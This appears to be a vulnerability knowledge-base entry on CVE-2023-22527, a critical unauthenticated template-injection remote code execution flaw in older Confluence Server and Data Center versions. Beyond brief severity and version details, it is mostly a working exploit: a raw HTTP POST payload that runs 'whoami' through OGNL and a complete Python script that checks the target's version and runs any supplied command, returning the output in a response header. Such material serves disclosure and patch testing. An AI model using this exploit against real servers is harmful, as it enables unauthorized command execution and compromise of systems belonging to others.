—Knowledge Base

CVE-2023-22527

Updated 26 May 2026

Background

SSTI to Unauthenticated RCE

  1. CVSS
    10.0—Critical
  2. VECTOR
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  3. IMPACT
    Remote code execution
  1. AFFECTED
    Server≤ 8.0.x< 8.5.4
  2. Data Center≤ 8.0.x< 8.5.4
  3. Data Center≤ 8.7.0< 8.7.1

A template injection vulnerability affecting older Confluence Data Center and Server versions enables unauthenticated attackers to achieve remote code execution on impacted systems.

Reproduction

POC || GTFO

The vulnerability can be exploited via a POST request to /template/aui/text-inline.vm. Command output is returned in the X-Cmd-Response HTTP response header.

http
POST /template/aui/text-inline.vm HTTP/1.1
Host: <HOST_NAME>
Content-Type: application/x-www-form-urlencoded
Connection: close
 
label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29

Alternatively, use the Python script below to detect the version and automate exploitation:

python
import argparse
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
 
def get_confluence_version(target):
    parsed_url = urlparse(target)
    url = f"http://{parsed_url.netloc}/"
 
    try:
        response = requests.get(url)
        response.raise_for_status()
 
        soup = BeautifulSoup(response.text, 'html.parser')
        version_span = soup.find('span', {'id': 'footer-build-information'})
 
        if version_span:
            confluence_version = version_span.text.strip()
            return confluence_version
 
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
 
    return None
 
def check_exploitable_version(version):
    exploitable_versions = ['8.0.', '8.1.', '8.2.', '8.3.', '8.4.', '8.5.0', '8.5.1', '8.5.2', '8.5.3']
    for exploitable_version in exploitable_versions:
        if version.startswith(exploitable_version):
            return True
    return False
 
def exploit(target, cmd):
    confluence_version = get_confluence_version(target)
 
    if confluence_version:
        print(f"Confluence version: {confluence_version}")
 
        if check_exploitable_version(confluence_version):
            
            url = f"{target}/template/aui/text-inline.vm"
 
            proxies = {
                "http": "http://127.0.0.1:8080",
                "https": "http://127.0.0.1:8080",
            }
 
            headers = {
                "Content-Type": "application/x-www-form-urlencoded"
            }
            data = r"label='%2b#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(#parameters.x,{})%2b'&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'"+ cmd +"'}))"
 
            response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
            if (response.headers.get("X-Cmd-Response")):
                print("Command Output:")
                print(response.headers.get("X-Cmd-Response"))
            else:
                print("No response")
                
        else:
            print("The version cannot exploit the exploit")
    else:
        print("Unable to determine version of Confluence")
 
def main():
    parser = argparse.ArgumentParser(
        description="Send request with target and cmd parameters",
        usage="python3 CVE-2023-22527.py --target <target> --cmd <cmd>\nExample: python3 CVE-2023-22527.py --target http://192.168.139.202 --cmd \"whoami\""
    )
    parser.add_argument("--target", required=True, help="Target address without http://")
    parser.add_argument("--cmd", required=True, help="Value for the cmd parameter")
 
    args = parser.parse_args()
    exploit(args.target, args.cmd)
 
if __name__ == "__main__":
    main()
References

Further reading